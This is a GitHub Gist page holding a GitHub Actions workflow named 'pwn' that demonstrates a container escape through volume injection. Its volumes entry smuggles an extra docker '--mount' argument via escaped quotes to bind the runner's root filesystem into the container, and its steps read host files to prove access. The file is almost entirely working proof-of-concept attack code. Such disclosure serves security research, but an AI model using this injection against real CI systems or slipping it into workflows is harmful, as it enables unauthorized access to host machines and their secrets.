Created
February 7, 2026 19:37
-
-
Save RootUp/d4034c0d7d228dc1d5d3b6f295a9673f to your computer and use it in GitHub Desktop.
GitHub Actions container escape via volume injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: pwn | |
| on: [workflow_dispatch] | |
| jobs: | |
| container-test-job: | |
| runs-on: ubuntu-latest | |
| container: | |
| image: node:18 | |
| env: | |
| NODE_ENV: development | |
| ports: | |
| - 80 | |
| volumes: | |
| - '/tmp/vol\" --mount type=bind,src=/,dst=/host\"' | |
| options: --user 1000:1000 --cpus 1 | |
| steps: | |
| - name: prove host access | |
| run: | | |
| id | |
| cat /etc/hostname | |
| cat /host\\/etc/hostname || true | |
| cat /host\\/proc/version || true |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://x.com/RandomDhiraj/status/2020391080567664958